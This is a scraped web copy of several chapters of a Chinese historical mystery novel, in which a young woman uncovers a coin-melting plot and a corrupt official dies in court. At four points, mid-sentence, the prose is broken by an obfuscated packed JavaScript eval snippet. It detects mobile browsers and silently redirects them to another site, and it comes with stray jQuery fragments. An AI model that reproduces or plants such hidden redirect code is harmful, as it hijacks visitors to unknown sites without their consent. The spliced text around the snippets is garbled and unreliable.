阴冷潮湿的大牢，比起祁阳县窄小的牢狱，显得更加森然，全封闭式的结构，透不出一丝月华，只有过道两侧黄豆般的烛火照映，勉强看得见脚下的廊道。 “秦姑娘，我就送你到这，前面拐角处便是林家少东家在的牢房了。” “感谢世伯。”秦明月朝他深深行了一礼。 对方伸手虚扶：“无需多礼，快去吧。我们最多只有一炷香的时间。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041614|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦明月点点头，快步往里走去。 刚转过墙角，眼前的光线倏地明亮起来。 只见林肃身着一袭墨绿色长衫，整个人半倚在墙角，一只手拿着账册，另一只手轻轻拨打着纯金算珠；虽未有卧榻，但身下厚厚的垫子显然不是牢狱中该有的。 “这就是天下第一盐商的底气么？不论走到哪里，林公子都还是那么处变不惊。” 林肃看着阴影中走出的女子，眼底闪过一丝了然。 “财能通神罢了，”他满不在乎地开口，“秦姑娘为何会来此处？莫不是......” 说完，刻意伸手撩了撩头发。 “我来此的理由，林公子当真不知？”不想与对方打太极，秦明月径直走近，“林公子，敢问销钱为器一事，当真与林家有关？” 林肃嗤笑一声，从袖中取出一枚铜钱掂了掂。 “看到这枚铜钱了吗？重四铢，八百枚铜钱才能融成一个最简单的吞口铜瓶，这个东西，市价也就十二贯，算上制作、运输、买卖成本，至多只有三成利。秦小姐......”他抬起狐狸眼，“你可知盐几成利？” “几成？” 对方伸手做出数字七的手势，“七成。秦小姐，林家是商人。” 言下之意不用细说，秦明月也懂了。 她点点头，“既然如此，林公子，是否方便将您了解的事情始末告知于我？说不定我能助林家脱困。” 林肃看着这个嘴上一点不肯示弱的小姑娘，心中竟觉得有一丝好笑。 “不知秦姑娘为何要帮林家？总不能是要林某结草衔环？” “就当报答林公子百樟林搭救之恩，以及给自己搏一条生路吧。” “哦？只是你自己吗？” 如果是怕自己借此搭上秦家，那她真的是太小看他林肃了。 “当然，我本就是养于京外多年的秦家女，未曾侍奉双亲、照拂手足，若有行差踏错，哪来的脸面要秦府与我托底呢？唯有想办法自渡罢了。” 林肃闻言吃惊地看向对方，她的意思是...... 要以一人之力抗下所有罪责？ 行商多年，他见过倚仗门第的高门贵女，也见过长袖善舞的大贾千金，遇事纵使不全然依附，也总要借几分家族的势的。如这般割席保全全族的，当真只此一人。 “你不怕吗？”林肃打量着对方单薄的身型。 “怕什么？” “若事败，代价可能是你的性命。” “怕啊。但天理昭昭，我不信邪能压得过正。况且，既然站出来了，我就没打算输。” 看着女子眼眸中跳跃的火光，林肃难得地收起玩世不恭的神情，将知道的所有事情和盘托出。 ———————————————— 时间一分一秒流逝。 “所以，破解这桩阴谋的关键，不在于证明你没有时间、没有必要做这件事。” “对，只要能证明他本身就是一桩阴谋就够了。” 秦明月点点头，心中已有一个初步的计划。 “这个你拿着。”林肃突然从随身的佩囊中取出一方印信递给她。 “这是？” “林家好歹端着天下第一盐商的招牌，这么些年，大晟境内大大小小的炼铜私坊、各地明里暗里的钱庄，多少都有些联系。” 他把印信往前递了递，“拿着它，随便去哪家通济盐号，自会有人为你提供便利。” 见她犹豫，林肃眉尾上挑，笑道：“你既是来救我林家于危难的，那我们林家总要出点力才对，不能全仰仗姑娘啊。你说是不是？” 20. 夜探现场 立秋后的深夜，已经带上了明显的凉意，白霜无声地笼罩住沉睡的大地。 除了秦明月外，其余三个人已早早等在屋中，能在如此深夜只身在外，已然体现三人背后家族的态度。 “明月回来了！”见秦明月带着一身寒意推门而入，顾克韫急忙站起身将她迎了进来，“具体情况如何？” “此事应该是冲着通济盐号来的。至于秦家，本就是在阴谋之中，还是被有心之人牵扯，不好说。” 秦明月卸下披风，摇摇头，坐了下来。 “你的意思是，这是个阴谋？林家也并没有参与此事？” “那你心中可有章程了？” 众人的眼神齐聚坐在一旁的少女身上。 见她点点头，大家竟都松了一口气，不知为何，她们迷之相信，只要秦明月还有办法，那就没有解决不了的问题。 形势不等人，秦明月也不与她们客气，掰着手指头就开始“点兵”。 “刚刚，卢伯父私下给我瞧了案件的卷宗，我见案卷中记载宋氏冶炉场仅有两座熔炉，可此次查封的铜器足足堆满了东营码头一半以上的货仓，这还不算已经运走的。按宋氏匠人交代，立秋后才开始熔铸，这铜器出量，我总觉得有点问题。” “这个我有办法！铸钱监隶属工部，届时想办法找到铸钱监副使，问清熔这么多铜器所需工时、人手，请他具结作保不就行了。”顾克韫连忙说道。 “对对对！这个交给克韫就好。明月，可还有其他什么问题？” “有。问题还是在数量上，既然宋氏一个小小工坊大概率吃不下，我怀疑，真正销钱为器的冶炉场另有他处，且就在京中，因为想要运输大量铜器不是件容易的事。” “这......”高裕贞略微偏头，“要不我请父亲以治安巡查、火禁为由，派人突击检查城内各大工坊？” “不可。”秦明月摆摆手，“这般行事，动静太大，若不能一把揪出幕后之人，可能会打草惊蛇，想要再找到线索可就难了。” “那该怎么办？” “我有一个办法，这样......” 跳跃的烛光下，少女四人紧紧凑在一起，似要一同抵抗这初秋的寒意。 —————————————————— 梆——梆——梆—— 沉闷的梆子声在空旷的街道中回响，三更了。 不远处，墙角的阴影里，紧紧贴着三个人影。高裕贞往手心哈了口气，从怀中掏出一本簿册，借着夜色仔细看了一眼，然后压低声音。 “这是最后一家了，叫金火寮。根据《入城簿》记载，近三个月来，他们家确实进入了很多木炭。不过，金火燎有官营的敕牒，会是他们吗？” “看看不就知道了。” 闻言，高裕贞点点头，再度将自己融入阴影中，视线紧紧盯着夜色中唯一的光源。 不远处的炼铜坊门楣上，挂着两盏防风灯，虽烛火不灭，但灯体却被风吹得左右摇晃，昏黄的光晕中，匾额上的“金火寮”三字明明灭灭。 坊内，隐约传来低沉的轰鸣和击打金属的声音。 不一会，随着最后一下巨大的金属倾倒声响起，整个街道突然都安静下来。 又过了片刻，坊门“吱呀”一声终于打开了，几个光着膀子的工匠推搡着从里面走了出来，风中隐隐飘来“终于结束了”的抱怨之声。 见几人走远，李敖轻轻动了一下，转向秦明月。 “小姐，工坊收工了。” “走！” 很快，三道黑色的身影，无声地从阴影处滑出，迅速越过工坊围墙，往金火燎冶炉房内跑去。 甫一进门，高裕贞就吃惊睁大了眼睛。 “一、二、三、四......不愧是官营的炼铜坊，竟有六座这么大炼炉！” 三人小心走入，只见巨大冶炉房内，一字排开了六座炼炉，炉腹浑圆鼓胀，每个炉口此刻都用湿泥封堵着；炉前是石砖垒成的站台；炼炉的另一侧，流铜槽连接着出铜口和砂模；不远处的墙角处，堆满了等待加工的生铜。 有着之前探查的经验，秦、李、高三人迅速分头行动，前往不同的地方进行地毯式搜查。 一炷香后，除了李敖从站台的缝隙里找出一块只剩半截的铜钱，再无一点收获。 高裕贞的眼中满是失望，秦明月虽然也失落于自己竟判断错误，但还是安慰地拍了拍她的肩。 三人正准备按原路返回，此时，屋外突然传来一粗一细两个男子的声音。 “还是你机灵！竟然知道藏到那个地方！” “哼，那姓王的一天到晚防着我们跟防贼似的，收工了恨不得从头发缝摸到裤/裆，又不拿他的钱，也不知道为何非要做出这等小人行径。” “就是！拿公家的钱，又不从他工钱里抽一分！” “再说了，你说那钱一麻袋一麻袋的，就算我们拿几个子儿走，能影响什么？左不过瓶底少一榔头的事儿。” 公家的钱？瓶底？榔头？ 三人对视一眼，在储水池和和房梁间，迅速选择了房梁。 很快，冶炉房的门再度被打开。 两个鬼祟的身影，偷偷摸了进来。 他们二人，一人站在门边，透过虚掩的门缝，警惕地打量着周边的情况；另一个则走到炉边，随手取过一个装担生铜的竹篓，搬起炉口的湿泥放在里面，然后奋力把竹篓拖到储水池边淘起水来。 哗啦啦的水声响起，房梁上的人都庆幸地松了一口气——还好没躲进储水池。 注意力再度回到屋中。 只见，在下方男子的来回推动下，翻腾的水波一层一层带走篓中的湿泥，除了掺杂其中的稻草，竟慢慢显现出另一抹熟悉的黄色来！ 这？！ 秦明月一把抓住高裕贞悄悄戳她的手指，将呼吸调整地越发平缓。 “老三！好了没？守夜的快过来巡夜了。”门口传来压低的气音。 “才淘了一块呢！哎！算了，明日再找机会吧。” 那个叫老三的男子一边说，一边快速解开身上特制的棉衣，将淘出的铜钱一股脑地塞进衣服夹层的棉花里。 “走走走！快走！” 二人迅速逃入漆黑的夜色之中，抬步间，竟听不到一丝铜钱碰撞的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041615|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等巡夜人腰间钥匙串的声响慢慢淡去，三人才再度灵巧地跳下房梁。 下来后，秦明月摸黑在剩下的湿泥中小心摸索一阵后，也带着二人悄然离开了金火寮。 ———————————————— 次日深夜，朱雀大街。 砰！砰！砰！ 巨大的撞门声猛然打破夜的宁静。 京兆府的门吏一边提着裤子，一边语气不善地拉开大门，猛地抬头却愣在了当场。 只见府门外，一队穿着甲胄的士兵几乎要将京兆府门堵住，火光跃动间，士兵手上长戈泛着冰冷的寒意。 “军、军爷，你们这是......” “我们是武卫营禁军，有急事要上报京兆府！” 同样的场景，一样在刑部大门口上演。 大约一炷香后，京兆府少尹陈世杰和刑部最高长官巢孝海脸色铁青地坐到京兆府公堂之上。 “高大人，究竟是何要事需要如此兴师动众？”陈世杰语气不善。 他最近刚得了一个异域美人，还在兴头上，今晚闹得狠了些，方才抱着香香软软的美人睡着，就被这一群武夫叫醒了。此刻，他恨不能将这群人乱棍打出去。 “启禀巢大人，陈大人，今夜武卫营例行巡查时，抓到了两个鬼祟之人，二人衣物中均塞满了来历不明的铜钱！”高明上前一步，双手抱拳。 “高大人！你就因为两个小贼，深更半夜来砸京兆府和刑部的大门？！” 陈世杰看着两个瘫软在地上的烂泥，一脸难以置信。 “陈大人，你怎能如此想武卫营？”高明委屈。 “我们抓到这两个毛贼后，第一时间就想着不能耽搁大人休息，准备明日再送来京兆府的。可谁知这两个毛贼竟吓破了胆！满口胡言什么‘销熔铜钱’‘按上头的意思办事’之类的话，便是高某再不知轻重，也知道兹事体大！武卫营是直属陛下没错，可我总不能半夜去敲宫门吧？思来想去，只能请两位大人，暂且替圣上分忧了。” 语气之深切，表情之诚恳，连地上的两个“毛贼”都不禁怀疑起自己来——这，难道真的是自己吓破了胆说出口的？ 不过，比起此事真假，二人此时显然已被“直属陛下”“敲宫门”等字眼锤烂了理智。 连正堂的两人也都被惊得瞪大了双眼，双双出声。 “什么？！” “高大人，果然行事周密。” 巢孝海不着痕迹地乜了陈世杰一眼。自己年纪大了，原本只等着安稳致仕，可要是能在身退之前破桩大案，功成荣退……想到这他立刻吩咐下属为高明搬来一张太师椅。 “还请高大人详细与我们说一说当时的情况。” 一旁的录事业也摊开状纸，一脸严阵以待。 “高某自当配合。” 深夜的京兆府公堂上，再度响起高明话本演绎般的声音。 半晌后，终于以高明抬手接过属下递过来的水囊，狠狠灌了一口，结束了他“精彩”的发言。 沉默着听完了整个经过的陈世杰，想起背后之人的交代，心中只余下两个字：完了—— 21. 孙显之死 等秦明月赶到京兆府衙时，陈士杰正与刑部就是否要将林肃一案并案调查激烈争论。 大约是知道这可能是唯一能完成背后之人交代的方法了，陈世杰坚持两案分审。为此，不惜直接叫板刑部正堂。 一旁的巢大人显然被气得不轻，脸上笼罩着一层寒霜。 “陈大人，按您的说法，短短三天内，京中就出现了两起销钱为器的大案，您辖下治安如此，待明日高大人面圣......圣上那里，您可怎么交代啊！”秦明月一边装模作样的替陈士杰考虑，一边往衙署内走去。 “秦大小姐，本官记得，京兆府并未宣你来此。”又来一个‘刺头’！陈世杰的怨气简直是在沸腾。 “陈大人，有没有可能，我是来报案的？” “报案？” “对，报案。” 秦明月拍拍手掌。 门外突然出现数十名秦府家丁，哼哧哼哧将一座冶铜炉搬运至京兆府衙大堂之上。 炼铜炉落地带起的轰响，惊得陈世杰心神震荡。 “秦小姐，你这是何意？”坐在上首的巢孝海问道，许是之前被气得不轻，问话时，语气还硬邦邦的。 秦明月倒也不怵，迎面看向堂上之人。毕竟，并案一事，自己与这位大人想法是一致的。 “启禀巢大人，小女要状告户部侍郎孙显与官营工坊金火寮勾结，监守自盗，侵吞库银，熔铸为器，中饱私囊，嫁祸林家，构陷上峰。这座冶铜炉就是证据。” 少女的声音铿锵有力，说出的话立刻在大堂之上引起轩然大波。 “秦小姐，此事干系重大，可容不得半点虚言。” “小女愿以性命担保。”秦明月弯腰行礼。 巢孝海眯着看向秦明月，表情虽没什么变化，但原本拧着的眉头，此时已松了开来。不知为何，秦明月从他眼中竟隐隐读出“我很看好你的”的意思。 “来人，将嫌犯林肃、孙显带上堂来。” 不等陈士杰反应，巢孝海抬手朝堂下扔出一根火签，大约是秦、巢二人之间的来往过于流畅，以至于京兆府那帮衙役还未来得及看陈士杰的脸色，就已经自觉地跑下去提人了。 片刻后，宋氏销钱为器一案的所有疑犯全部带到堂上。秦明月看着浑身干净清爽的林肃和孙显，对比一旁已如一滩烂泥的宋氏匠人，一股难以名状的烦躁自内心升起，要论罪责，难道那些掠夺了大部分利益的幕后主使不应该更重吗？但偏偏最后罚的最重的是只够糊口的底层。当然，此事林肃确实也是无妄之灾就是了。 不满归不满，但案子还得查，她要做的就是不管对方是何身份，都要让其为自己犯过的错付出代价。 想到这，秦明月径直走至宋氏冶炉坊王姓匠人身前：“王五，你确定这批铜器是你在宋氏冶炉坊熔铸的，对吗？” 闻言，地上之人仿佛接收到了什么信号，整个人一下子扑到秦明月脚边，竹筒倒豆子般颠三倒四将案情来回重复，间或还夹杂不堪入耳的赌咒发誓。 秦明月往后撤退一步：“那就奇怪了。王五，你身为炼铜老手，应当知道，就算不提师傅手艺，不同的炼铜炉、不同的燃料，烧制出来的铜器，也是不同的。” 她从李敖手中接过两个吞口铜瓶，继续开口道：“我手中这两个铜瓶，一个是市面上买来的宋氏冶炉坊的出品，还有一个是这次被查封的铜瓶。” 秦明月边说，边走上前，分别将两个铜瓶递给巢孝海和陈世杰。 “两位大人请看。宋氏冶炉坊制作的铜瓶，瓶身整体呈暗红色，瓶底有明显颗粒感，这是因为宋氏冶铜的炉子是用黄壤、河砂、稻草灰等常见材料混合夯筑的。煅烧过程中，温度不均，炉壁剥落的杂质混到铜液里，最终沉积在铜瓶底部。” 巢孝海将铜瓶靠近火光，仔细端详，指腹摩挲一遍瓶身后，还屈指弹了弹。 “不错！确实如此，这另一个铜瓶相比较而言，确实手感更细腻些，瓶子也更偏向青灰色。” “大人英明。”秦明月往旁边挪开一步，让出身后的冶铜炉，手指炉中说道，“这次查封的铜器显然出自更好的冶铜炉。据我了解，只有以白山土和菩萨石为基，才能烧出偏青灰色的铜器，而这金火寮的冶铜炉就是以这些东西夯筑的。” 她的目光重新看向高坐正堂的二人，声音清亮：“既然查获的铜器均非宋氏作坊所出，那匠人王五的证词便纯属捏造，而所谓的销钱现场与码头的物证也皆不足以为凭。各位大人，这可是实打实的陷害啊！” 堂上，王五此刻已抖如筛糠，汗水顺着鬓角、下巴，一滴一滴落到青砖地上。 巢孝海已然全明白了，他狠狠拍响手中的惊堂木，厉声开口：“王五，我再问你一遍，这批铜器，真的是你、是宋氏冶炉坊烧的吗？你可知销钱为器、构陷朝廷命官是什么下场？” 森森寒意从他的话语间涌出，原本心理防线就已经岌岌可危的王五直接瘫软在地，一股骚/臭味从他身下传来，离他不远的高明嫌弃地捂住口鼻。 眼见王五精神崩溃，快要架不住拷问，许久未开口的陈世杰突然开口道：“便是东营码头查封的这批铜器不是宋氏制的，也难保之前已经销赃出去的不是。再说，谁能保证只有金火寮有这样的炉子？既能寻到宋氏，如何不能勾结其他工坊？” 巢孝海诧异地看向陈世杰，这个京兆府少尹先是拒绝合案，再是胡搅蛮缠不肯松口，前者他还能认为是破案思路不同，这后者可就是明晃晃的欲加之罪了。视线扫过堂下之人，户部尚书之女、当朝第一盐商，他怎么敢这么明目张胆的针对，除非…… 没等他权衡清楚，堂下响起一连串质问：“敢问陈大人可知炼铜炉如何砌筑？炉温该控制几何？” 不等对方回答，那人接着问道：“大人又可知，制作堆满东营码头八个货仓的铜器需耗时多久？调集需要多少运力？途中损耗又有多少？” “陈大人若知晓这些，便不会当着众人的面问出这么些问题了。”秦明月显然也生了怒气，她设想过陈士杰会质疑自己的论断，比如林肃提到的这些问题，可她没有想过此人已无耻到这个程度，敢大庭广众之下耍懒。 她气愤地从袖中取出一张文书，用力甩开，皮笑肉不笑地开口道：“不过，我自然是要替陈大人考虑周到的。这是工部铸钱监副使隋大人提供的详单。陈大人——你可要学一学？” 看着台下两张桀骜的脸，还有一句比一句阴阳的话，陈世杰只觉血气上涌，上面之人为什么一定要这么麻烦走构陷的路子，还不如找一群绿林匪盗血洗了了事！ “放肆！你们一个疑犯，一个从犯，谁知是不是为自己开脱。再者，秦女口中被查封的铜瓶来路不正，本官以为有偷盗的嫌疑，罪加一等。来人呐，给我拿下他们！” 陈士杰腾的站起，用力投掷下一枚火签，火签接触地面的瞬间四分五裂，部分溅起的碎片直直朝秦明月面上飞来，饶是她反应迅速，及时抬起衣袖后撤，却被冶铜炉挡住了退路。 眼角有一道墨绿色的身影闪现，一阵风扫过，碎片纷纷落到地上。 “陈大人！”突然，一道凌厉的声音自屋外响起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041616|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >原本正要上前扣押秦、林二人的官差停下脚步，秦明月也放下衣袖，随着众人的视线转头看向声音来处。 夜色中，谢长龄冷着一张脸踏入厅内，秋夜的寒霜仿佛也随着他的步伐卷了进来。身后是护卫举着火把停在门外——甚至没时间换上正常的灯笼，应是刚刚赶回。而他的手中此时正握着当初在祁阳狱中“救”过她的那把剑，她曾听李敖说过，那是御赐的，多少有点“尚方宝剑”的意思。 “八个货仓总容量共两千石。六炉间歇生产，需六个月才可完成全部供货量，调集需百石漕船二十艘，若按百分之八计损，则要再备一百六十石铜器。”谢长龄停在秦明月身侧，剑眉上扬，“陈大人，你告诉我宋氏冶铜坊如何能吃下这么大的体量，谁又能神不知鬼不觉地将这么多铜器运至京城？是当京兆府都是死人，还是武卫营都是死人？” “嗯？”闻言，卢诚一屁股从椅子上弹起来，连连摆手，“这可不兴胡说啊，我们武卫营可都是耳聪目明的好兵，这不还给京兆府送来两个铁板钉钉的人犯呢，你们自己不问不审不管的啊。” 要是眼神能杀人，陈士杰和卢诚现在可能都已经是个死人了，一个是谢长龄杀的，一个是陈士杰杀的。 “谢大人，您终于回来了。我们……”秦明月化身柔弱窦娥插话。开玩笑，此时不赶紧推案子更待何时，她用衣袖捂住鼻子，委委屈屈：“您可一定要为我们做主啊。” 谢长龄原本握剑的手紧了紧，耳廓隐隐升腾起一阵热意，目不斜视地点了点头。 “那、那说不得是林家多寻了几家工坊呢？”陈士杰见状反驳。 “谢大人，陈大人讲得好没道理。之前有没有销赃的，我们将库中税银盘点一遍即见分晓。倘若库中失银与此次查封铜器的数量一致，又皆出自同一工艺，何来其他工坊？” “又或者，直接审审孙大人更好，”秦明月朝从一开始就隐在人群后的户部侍郎孙显扬扬下巴，嘴角扬起冷笑，“毕竟勾结林家、指使宋氏、攀诬秦府的说辞，这位大人从头到尾可都是默认的态度，全部事实如何，想必他最清楚了。” 此时，谢长龄已坐回京兆府正堂之上，虽身穿常服，可却难掩一身不威自怒的气质。闻言，他的视线扫向站立在角落里的孙显，立刻就有官差上前将对方按住。 “孙大人，你可有什么想说的？” 几息之后，公堂之上，落针可闻。 “若孙大人拒不服辩，京兆府不介意使用特殊手段。” 京兆府的手段......切身走过一遍的王五只恨自己不能立刻死去。 孙显脸上有挣扎之意，片刻后，整个人颓然地跪倒在地：“此事......” “谢大人，不可！刑不上大夫，罪不及家人。”自陈士杰彻底撕破脸皮后，就一直闭口不言巢孝海突然出声，眼神状似无意地扫过孙显。 门外，突然传来今夜的最后一次打更声，惊得秦明月一个激灵，一股熟悉的不祥感瞬间爬上她的脊背。 “此事皆由我一人贪念所起，与旁人无关！” “快按住他！” 孙显突然瞪大双眼，猛地从袖中掏出一把匕首，刀刃有寒光闪过。 刹那间，白、绿两道身影自眼前掠起，谢长龄纵身越过案台，凌空一脚踹向对方，惯性作用下，孙显横飞出去，后背猛地撞在秦明月带来的冶铜炉上。炉身剧烈一晃，轰然倾倒，沉重的炉体直直砸落下来。一切发生在瞬息之间，待众人反应过来，压在炉下孙显的抽搐了两下，不动了，有血迹慢慢自对方身下蜿蜒而出...... 22. 心仪之人 孙显死了。 秦明月冷冷看着满脸虚伪的巢孝海。此时，对方正一手揽着谢长龄，一手携着林肃，站在自己面前，假惺惺地做着和事佬。 “谢大人果然年少有为，多亏你及时赶回主持大局，否则今天这事可真要闹出误会了。陈大人，你可得好好反省，谁人不知，江南林家是何等家业，又是正经儒商，哪会为这点蝇头小利与小人同谋，全是小人攀诬罢了。” “是是是。”陈士杰跟在一旁点头哈腰。 见秦明月眸色冰冷，巢孝海又像没事人一样，脸上依然堆着笑：“秦小姐不愧是秦家的女儿，有勇有谋，重情重义......” 听到此处，原本从刚刚就拧着眉头一言不发的谢长龄突然抬起眼眸：“巢大人，不早了，早些回去歇息吧。” “巢大人，我护送您回去？夜太黑，眼神就没那么好了，武卫营既大半夜把您摇来，自然得安全把您送回去。”一旁的高明站出来，朝巢孝海做了个请的手势，话里话外却不甚恭敬。 此时，屋外天色已蒙蒙亮。府墙外，有板车压过石板的辘辘声和鞭子甩动的声音传来。京兆府的官差分成了两拨，一拨赶去金火寮拿人，一拨正在公堂上清理血迹。 跟着高明与巢孝海离去的身影，秦明月抬眼望向屋外，只见李敖正提着一盏灭了的灯站在门边，也不知道来了多久了。 说不清此刻心头弥漫的，究竟是劫后余生的松快，还是线索中断的茫然。她只觉浑身疲乏，便也无意与人招呼，默默转身朝门口走去。 “秦姑娘。” “秦小姐。” 两道声音同时响起。 秦明月转过头，眼带询问。 “之前的案子......” “再下还有一件事......” 谢长龄与林肃再度同时开口，听到彼此的声音，两人皆是一顿，视线又重新落回到秦明月身上。 “秦姑娘，悬心了一夜，不如用些早茶再回去歇息吧，劳神过后空腹入眠，容易伤身。”谢长龄先一步走到秦明月身旁，用只有二人能听到的气音，轻轻加了一句，“陶大夫一案——” 秦明月和他对视一眼，默认地点了点头。也好，就算谢长龄不主动提及，等回过神来，自己也是要去找他的。 “说到早茶，在下也觉得饿了，不若一起吧，”林肃跨步走进二人中间，笑眯眯开口，“我知道一家滋味还不错，我给两位带路。” 说完，也不等二人反应，背着手往外悠悠往外走去了。 半盏茶后，三人一起坐到了同福楼的厢房内。小二应是认识林肃，殷勤地跟前跟后，见缝插针地给几人推荐菜色，林肃见其他人没什么反应，干脆让他把所有的招牌都上一遍。 店小二连声应好，喜气洋洋地跑下去了。一会功夫，就将店里各样招牌早茶都摆了上来，菊花酥、玉带糕、水晶虾饺、桂花糖芋苗......甜口的、咸口的，摆了满满一大桌。 同福楼火爆自有他的道理，满桌子早茶都做得很精致，但秦明月实在没什么胃口，迟迟下不去手。大约怕客人不满意，招了嫌弃，店小二嬉皮笑脸地凑上前，给她介绍起来：“姑娘，这道白玉鎏金是我们店的招牌，选用宜山的上好糯米......” 伸手不打笑脸人，秦明月配合地夹起一块。见状，林肃从袖中掏出一锭银子，将小二打发了出去。 “林公子，你刚刚在京兆府可是有什么想说的？”她兴致缺缺地用筷子夹断碟子中的蜂蜜年糕。说实话，连续两日未眠，她对这甜腻粘牙的吃食并没有什么兴趣，更何况她本就是冲着陶大夫的事来的，现在什么都说不得就更提不起精神了。 “不急，我看你现在状态也不大好，还是先吃点东西，等休息好了改日再说。”林肃的筷子伸向她面前的菱粉糕。 ...... 正事一个不急着说，一个说不得。秦明月只能认命地将注意力全部投入到吃早茶这个“借口”上来。 目光扫过菱粉糕上精致的压花，似是想到什么，她往袖中掏了掏：“林公子，林家既已无恙，这枚印信便不必再留在我这里了。” 林肃的视线在面前墨色印信上停留片刻，嘴角泛起一丝笑意，伸手将印信收回：“好啊。不过，林某此次能够全身而退还要多谢秦小姐。林家行商，有恩必报。往后秦小姐若有难处，无论有无此物，都可来寻我。” 谢长龄握匙的手几不可察地一顿。 “不用，我本也......”秦明月刚要婉拒，谢长龄突然伸手将她手下惨不忍睹的年糕端走，重新放下一碗八宝素粥，接过话：“临出发前，我曾向秦大人保证你会无恙，如今，你人平安，我也算不负所托。喝点素粥吧，年糕黏腻，难以克化，回头不舒服了，我不好同秦大人交代。” “我爹知道了？”秦明月吃惊地看向谢长龄，手中自然地接过汤匙，“那他——”他怎么想的？可曾怪自己？此事与秦府有无妨害？可这些话问谢大人也不合适，她讪讪闭上嘴巴。 “秦大人只问了一句你在何处。”谢长龄重新捏起自己的勺子，目光若有似无地扫过林肃，似是猜到她心中所想，继续说道“他说，这点小事，让你自己处置便是，天塌不下来。” 闻言，秦明月总算放下心来，一心一意捞素粥里的莲子吃。 用完早茶后，秦明月最先坐上秦府的马车回府了，林肃则直接在店里开了一间厢房休息。 谢长龄站在同福楼门口，看着载着秦明月的马车慢慢消失在街头，身后响起熟悉的马蹄声。 “大人，我们现在是回岭南，还是回谢府？”钟鸣牵着马，走到他身后。算上赶路的时间，大人已经两天两夜没合眼了，他自幼跟在大人身边，上一次见大人这么失态还是谢府出事的时候。 “都不了。我先进宫，宫里估计早就接到消息了。”谢长龄接过马缰，深吸一口气，“你先行回府中歇息。回岭南之事，等我回来再说。” 说完，就翻身上马往宫门的方向走去，走出几步，又退回来吩咐道：“以我的名义给秦府递句口信，就说秦大人已知晓，一切无碍。” 通往宫中的官道，谢长龄走过无数遍，把守各道宫门的士兵自然不会拦他。只是今日，却止步于懋勤殿门口。 “哎呦，谢大人！您怎么来了？”司礼大太监看见是他，热情地迎了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041617|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上来，走至近前，笑眯眯地补上一句，“前几日，陛下不是刚派您去岭南了吗？” “京兆府衙门出了点事就先赶回来了。安公公，陛下现在......” “陛下正与几位大人议事呢。谢大人，您如果没什么事，就在此处等等吧。”安禄眼神飘向殿内，朝谢长龄点了点下巴。 “谢公公提点。”谢长龄收回目光，沉默地立于殿前。 初秋的早晨，已然带了些许寒意。谢长龄接到陈世杰将秦明月拘进京兆府的消息时，已临就寝，来不及考究穿着，与秦大人通过气，他便急匆匆星夜赶回了。因此，此刻身上仅有两件薄薄的单衣，萧瑟的秋风吹过，不仅给大脑降了温，也吹醒了他的理智。 这些年来，在外人眼中，他圣眷优渥，简在帝心。可只有他自己最清楚，陛下看重他，是因为谢家满门裹尸疆场，厚待他是做给天下人看的恩典；所谓恩宠，也不过是因为他的所作所为与圣意同向罢了，实际上君君臣臣，从未变过，今日之事就是敲打。 他不后悔，从岭南到京中，一路颠簸足以他想明白自己的心意，他只怕...... 时间一分一秒过去，颀长的身影已从宫殿的台阶前不知不觉移到了身侧。 “绥之？”又不知过了多久，身后响起一道温柔的女声。 能在这个时候来懋勤殿的只有一人。谢长龄头也不抬，恭谨地朝来人行了一礼：“皇后娘娘。” “快免礼，绥之这是在等陛下？你这孩子，既来了也不让人通传一声，亏得陛下这些时日总念着你呢。”身着明黄凤袍的人已迈上石阶，转过头笑道：“外头天寒，快随本宫进去吧。” —————————————— 再从懋勤殿中出来，已是一个时辰之后，谢长龄面无表情地慢慢往宫外走去。刚远远瞧见宫门，一个身着银色盔甲的身影就快速向他跑来。 “绥之，你没事吧？”卫燕锋瞧着好友的久违的“死人脸”，觉得自己简直问的废话，“我听父亲说，你一早就进了宫，可懋勤殿那边......” “先上车再说。”谢长龄开口打断。 不骑马还主动要求坐马车，嘿~卫燕锋觉得事情可能有点难办了。 “绥之，你不是奉旨去岭南了吗？怎么突然跑回来管起林家那档子事了？就算陈世杰那个糊涂虫......” 